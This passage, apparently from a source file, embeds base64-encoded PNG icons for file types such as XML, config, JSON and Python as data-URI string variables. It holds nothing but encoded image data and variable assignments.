JKpPvjyt4fMQuyN1z0KXlygq5SFOIT0tCIlBfGCjDJJ3BXFb+La0Ok+Anmb5kKq5IecmxZcZiHq6kxdk+0lHVOHZpuazGSD7o0hzXPoqoIso9mfuL99z+eH68jsSz/wGC/4G2hIJQgBXsiLk4dLNnEhlnMiQoI4QZW54tlyzK4bujQ2TgtUPAfNfiTnqotdkh1lLHZCrKqV0PJD+XkYZ5IDuqbKOkN1YKnrk0564Mh3hpQS2kXXP8qFuGBgAJexTvoly/OB97IcrqyiGRxZD3JYhik7LtoIU1XpeRKDUZrLOSqFlHdspcl2kslz0MiFDCAlG6cZbFOXxc0wlPuXdtw8HALmmz/waMG5NIDCRvACFE5JlsEx9cHFbRNRnA5WaYgpw4MMoJhOaYJhk1jLUPaocUmk/OhFMSquI4WhZ1uI01yGEKF2zKheEJMq3Tm7Y0g1al1yzAB1gICMWxWJ3KiOME5A3RrJXpqN0jEVOsrplIVoM1lWgGarJNYqrotOMEjBHT9GrezKokjnIAMIAcpUYZyi5FgyNB1T3Tlzx5AGqBdd92MusIUIRSlSklhhyPNCDm+zvIBlaEizQnqcwoVITasmW0kmSUy8oUmEbQxChdRtTOFmGgMSG7rskxVFkXMkIjGdh0LJUJT7msN2ZO5bPvRYzvkbqLyTAYN4VhFRE2LTjblIkrZHK02n5fsDBCjUqDrTxsibPT9CreKh1YtQr3poSQlelimTurxjCFDqlWh5Npo9uoes7zz63c8NVYkVtuW9jwqmnE8pUWohKv+KAk5pU2GS1ISOLDzH0quirMgFVRYl+p1KDqB0SqSmdUV+yMIm+2tdoqkoqkQgpym1qkiHMV7s7D3wT9QTkxr5ncfvu1NP7xvGlnd/ssiLU3UmHMELlTZq6BqL0ky4pqEGcSI821LDKBKOZWlxlnHLMFTKUpqiKkxRWMYLOLqphPQbx1KDKOGe66h+GIuy66hBkgrHNFla5DLk6HdRlnPHsbkfZbGrqT9cfujWWwCkUg781uN4/2pA0opuc5lkDKkH6dL/n4dsP1Y2ndAd19+HwP8Ai6aBuBZQFcEAAAAASUVORK5CYII=",xml_icon="data: image/png;base64,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",config_icon="data: image/png;base64,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",json_icon="data: image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAElElEQVRo3u2ZXUxbZRjH/8/5oB+04xtKpEygWeagskpcsjg/cLqoyy7ch5sOP+NC4m7cDO7CZCbuyiySJV6YRaJeyMacZDFTt2zJSFgicQuwhkgGsyIg0LiNr3Zt8bR9vKCwYk7LEUrLkj4XfZ+e877vOf8+v/O8z3kLpC1taXugjbR02ljf6iDCUQDZy7lYplE/81Bx4cEzDY+7kirgkXe+c3n9SjkDADODiObb6GOL+DnZJqqpLB8OhkK1377vSIgISUsnb0Ap44jPEdUcpV6rDwCCQFYJYlvdie6EiNAkIBzm6HsAM3N0q9UHz34lQokkilfqTnQ/u1wRmgTQHAaRGyIimmujjy3mg2anYmYWBCpNRCSkVGaQROCkScACDBKAUPTx5eKUMoSi5wTYKolLi0RKEUoETilHaGFk/z9OSUXI4/GQoiiQZZnV5ozG6bXGztpTh2tcqwohJUz4peNXWArzIAhCvK7WIKQ2AKWrSgARYUZYgz/d3uh1MVbnklX3DMynTkkHFQUcw189z4CaH+ccP1BpdEVLCa0IZWVmoCBLj99Hp1URqig28+2pAKbu/RNzTrXrrThCJoPEDXuqaV9tBZRgiKsOtKpi88Mn20iWRLS0ufj4WSd5/cHUIySLAlo+2orKtTloueTE1z85AWSo9t155DTe3l6NN7ZVo2ZdPl7++DKUUDi1CG2xW/BoWS7qPz3PP153Q8jIBKCOQ99dmT9suo525zBOHtnBW+wWXOkeSS1C8ux6xGNemUSdadHMI+pMGPPK82P/W9wlHaGufjeYGZs3WHDjjwlNYzZvsCAcDqOr3536LHTHE8SEJwBroUm1UFPzrYUmTHgCfMcTBINSh5DZINOhXXbkrjFw581RioPDAr/z5ijXbbXR0ddr0Ph9Dzx+JfkIHXhpPQ7tssNskPHV+U60trsASa9pbGu7C/bSTLy7owb7nqlAY2sPmi70JRchVvwAz25XCJIOJOs5snuxKEKCrIcg6SIYhsGKP/kIfXmhj5svdtMHezehfucm7hny0tn2AU0I7X6yjN96sYpOnruGz1quwcdGFmRDchEiSY8AGXCspQd7nrPDYcvH2fYBTWMdtnyMT/tx7FQPhIw8kPYfPPFZqCg/FzlmA4bck5qz0JB7EjlmGxcV5OLvSX9qFzKHLR9E4I5et+Ys1NHrZkEgctjycKlzZOUXsngRUIKzBZnVks03Bqa1rQNF2ZGxISwWtRWPwFXnMJy3xvjzg0/QU1XF+OZyP/cOTqpGoPLhHHrz+XV45elydt4ao6vOYRDJy4qApu31klebOZYAZoYRHm7Y+xjtf2EjlBDHLKd/a9pNskhovujk42e6yAdT3Fror9P7hRUXcH9d8FGmOIOCLD0PeY2qAtaa/XR7KoB7IR2TbKSovw6WLCBhb2QkG9kHIwY9iFlOD3oMDMEAElT2vFb2Gbj/mbyXek5cFgr6xkckY14JkmhB3/hIwgRMdHzxnmn99sOCpDMzwATQXBvZxFmyr3aOgzNeb9/PjQnLQgCJAOcBEJMUgBBIuAsOh5C2tKUtrv0LAgeIBBvynLwAAAAASUVORK5CYII=",python_icon="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAAAXNSR0IArs4c6QAABftJREFUaEPtmFtsk2UYx//P2+7A0OFAcGyMkwTiBGVr104N58QTjMMSZox6gRjChQaIUbbiRaOmQ0MU5YILrzR4wyFEVhCIytHs1IGGIBCmg60D3Jg7j25t38d8ne0O3fp9X1tHSPju2u85/H/v8x6+5yU84A894PoRNwCTvSyF+mg2Ec+SoGQC0pTBIaY2ZvaARYMgT31VaWFLPActJoDcYqfJILBRSl5OAnMB0hKvloBDPp//64ufr7kVK4yWhCPmyNtRVsqM7UIIypqYglut9+D1Sx16ZDtLKqrZWXBSh1OYaVQApuKyF0nQCSEIe9+2InfWJNQ1d2HD3l/R3evToYe7IYwm16evXNPhNMQ0KgBziXMPCO/OnPwIDmxdEgq47btqnL/WpFOL3OdyrH5Lp1PIPDoA25FDgChMSjDgwJYlmJo2Dl0eH4q+OoPmDo8uLQx21zgKsnQ5DTKOEsD5E4AVSpy08YmwPPk4fq9vxZ22e/p1MHpcpavG63fs94gZINrEIb/7AWCyHZ8qpG+cmnhJOEuEzIh29wNATXjwvbmk7AaIZjwEiDACo66B/OIfZ3qF3ETgRQDSGRBaR35gfvN0IjKOeQXMO5ybmLGbANV5rhtquMOgNcCujBRI45sDJtwHokZ45Xl63j3iFhdWgbwdZW8w076YhWkNMBigamY64L8d5spoBtFGstSXDX83BMBqP5bq6/XXEdFErfljttMCoCRhpRoilyz1lwfnHAJgsh19h8DfxCxKRwAGOmscq1IDGkerwEC802RpWDYqQJ7NuZ+B9Tryx8GUr7gcBdkaAQBheIrMN64GEw+rgPNPAmbHQZXmEAwqrXGstAUAKjPngoTKlynZyFJfGgawoNiZliS4RWNTolmgimF9QqIxp9z+8j/9AFlrQTgc2YedZHEXhAGYbc75AC7FS5lqHMYFyf7XLuxcUxu05eqs/WCVKcx8m6zujDCAvJIjS5jEadXEww1YukAGF4HbtflyOwRVVxtdv8BuD7VwXJW1GIzTIA0fmEbvFMq906zkC62B3I+OLRdS/qxNBCBB1QT/5hrH6gtafUaz48rMZ0E4AYgntMWi+cHtNARgLj6WAyG1iSE6mdDTvbb8y6IoGoABiVyZOQkQmwGUgKCjJ+ClZHGfGVKBnA9/yDAYDY1qI0DMTd4k37zf7OvaQnO3KiMLMGwCeCEkJavFgGBl4NIBmgcg8rfSSMEYi8nacG4IgPLDbCtrAmhyJAEMFNc4Vn0WEl85bR1A+0BIURUeLwO/yKbnbl4JA8grcR5nwkuR8pBBzq/+ZHXgOOeqzIVgqgBRUry0qcZhSHBSGuXXdoQBmEqOFhNx6JAYKVhPYs+jf9iLugIAFVmHIFComjSeBswXyerODdtGlT9M249MJwPdiHSYtXWK5No9r/b2V2BaO0CB75gxe0h+QXmN748I0L8Ojh4GeO1ogoIAfDk7Ed2dAZAxfYQwkflmaLcM6weUhp3YWz5aLxsCuD4nCa29+i6BYiaVNWRpNA8OM2JLGbh1gHeXZBQSDd0W7xsAg8FyBeU3nlIFCBostZ9K9ng86X74Q/1w9c6VdcqlOY9lBRTxoI/JWm8fXsSoLrYCC1gzAHeA6ERUs4fhBZEbfv9hym+sGCnGWABcJotb+dL9X56HAKrDymgAKLRvj27vd5O1sVw13jCDMaiARknMB8nq1t2PRw/gMiVANvVplDdgljQDmLAM6DgLeP4a+J9wgPIaivTGixogsBNVTfsboCmakxonAAvOAcbHAH8XcGkx4L0bdN9NloZtmmP9ZxgrwG6AtmhOOv4ZINs5YH51PdBZCeWIAuQLY7oGAhWomJMK0Xcm0MhoeZR73rnfAqmLgM4q4Nr